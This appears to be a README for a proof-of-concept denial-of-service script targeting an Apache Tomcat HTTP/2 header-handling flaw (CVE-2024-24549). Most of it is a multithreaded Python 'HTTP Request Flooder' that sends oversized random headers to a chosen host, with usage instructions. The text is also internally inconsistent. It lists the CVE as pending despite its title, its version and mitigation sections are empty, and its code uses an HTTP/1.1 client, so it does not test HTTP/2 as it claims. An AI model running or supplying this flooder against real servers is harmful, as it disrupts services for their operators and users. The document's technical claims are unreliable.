
Proof-of-concept Python script for CVE-2024-24549 demonstrating Apache Tomcat HTTP/2 denial-of-service via oversized headers that exhaust server resources.
Here’s a README.md for a Proof of Concept (PoC) demonstrating the Denial of Service (DoS) vulnerability in Apache Tomcat due to improper input validation of HTTP/2 requests:
This repository contains a Proof of Concept (PoC) script demonstrating a Denial of Service (DoS) vulnerability in Apache Tomcat. The vulnerability arises from improper input validation of HTTP/2 requests, leading to potential DoS conditions.
CVE-ID: (Pending)
Overview: Apache Tomcat versions from 11.0.0-M1 through 11.0.0-M16, 10.1.0-M1 through 10.1.18, 9.0.0-M1 through 9.0.85, and 8.5.0 through 8.5.98 are vulnerable to a Denial of Service attack. The issue occurs when processing HTTP/2 requests with headers exceeding configured limits. The HTTP/2 stream is not reset until after all headers have been processed, potentially leading to resource exhaustion.
Affected Versions:
Mitigations:
This PoC script demonstrates how to exploit the DoS vulnerability by sending HTTP/2 requests that exceed the configured header limits. The script sends a large number of requests to exhaust resources on the server.
import http.client
import threading
import logging
import time
import random
import string
import argparse
import os
# Configuration defaults
DEFAULT_HOST = "target-server"
DEFAULT_PORT = 443
DEFAULT_NUM_REQUESTS = 1000
DEFAULT_CONCURRENT_THREADS = 10
DEFAULT_REQUEST_INTERVAL = 0.5
DEFAULT_LOG_FILE = "requests.log"
# Setup logging
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
def random_string(length):
"""Generate a random string of fixed length."""
letters = string.ascii_letters + string.digits
return ''.join(random.choice(letters) for i in range(length))
def dynamic_payload():
"""Generate a dynamic payload for requests."""
return random_string(random.randint(10, 100))
def send_request(conn, method, endpoint, headers, payload):
"""Send a single HTTP request."""
conn.request(method, endpoint, body=payload, headers=headers)
response = conn.getresponse()
return response.status, response.reason
def send_dos_requests(host, port, num_requests, concurrent_threads, request_interval, log_file):
def worker(thread_id):
conn = None
try:
conn = http.client.HTTPSConnection(host, port, timeout=10)
for i in range(num_requests // concurrent_threads):
method = random.choice(["GET", "POST"])
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"X-Test-Header": random_string(65536)
}
payload = dynamic_payload() if method == "POST" else None
status, reason = send_request(conn, method, "/", headers, payload)
logging.info(f"Thread {thread_id} - Request {i + 1}: Status Code: {status}, Reason: {reason}")
with open(log_file, "a") as logf:
logf.write(f"Thread {thread_id} - Request {i + 1}: Status Code: {status}, Reason: {reason}\n")
time.sleep(request_interval)
except Exception as e:
logging.error(f"Thread {thread_id} - An error occurred: {e}")
finally:
if conn:
conn.close()
# Create and start threads
threads = []
for i in range(concurrent_threads):
thread = threading.Thread(target=worker, args=(i + 1,))
thread.start()
threads.append(thread)
time.sleep(0.1)
for thread in threads:
thread.join()
logging.info("Completed sending requests")
def parse_args():
"""Parse command-line arguments."""
parser = argparse.ArgumentParser(description="HTTP Request Flooder")
parser.add_argument('--host', default=DEFAULT_HOST, help='Target server address')
parser.add_argument('--port', type=int, default=DEFAULT_PORT, help='Target server port')
parser.add_argument('--num-requests', type=int, default=DEFAULT_NUM_REQUESTS, help='Total number of requests to send')
parser.add_argument('--concurrent-threads', type=int, default=DEFAULT_CONCURRENT_THREADS, help='Number of concurrent threads')
parser.add_argument('--request-interval', type=float, default=DEFAULT_REQUEST_INTERVAL, help='Interval between requests')
parser.add_argument('--log-file', default=DEFAULT_LOG_FILE, help='File to log request results')
return parser.parse_args()
if __name__ == "__main__":
args = parse_args()
logging.info(f"Starting flooder with {args.num_requests} requests to {args.host}:{args.port} using {args.concurrent_threads} threads")
send_dos_requests(
host=args.host,
port=args.port,
num_requests=args.num_requests,
concurrent_threads=args.concurrent_threads,
request_interval=args.request_interval,
log_file=args.log_file
)
host to the target server address and port to the appropriate port (typically 443 for HTTPS). Adjust num_requests to control the number of requests sent.To mitigate this vulnerability:
For more information on securing your Apache Tomcat installation, refer to the official Apache Tomcat documentation.
This README.md provides an overview of the vulnerability, the PoC script, and instructions for mitigation. Ensure you handle this PoC responsibly and only on systems where you have explicit authorization.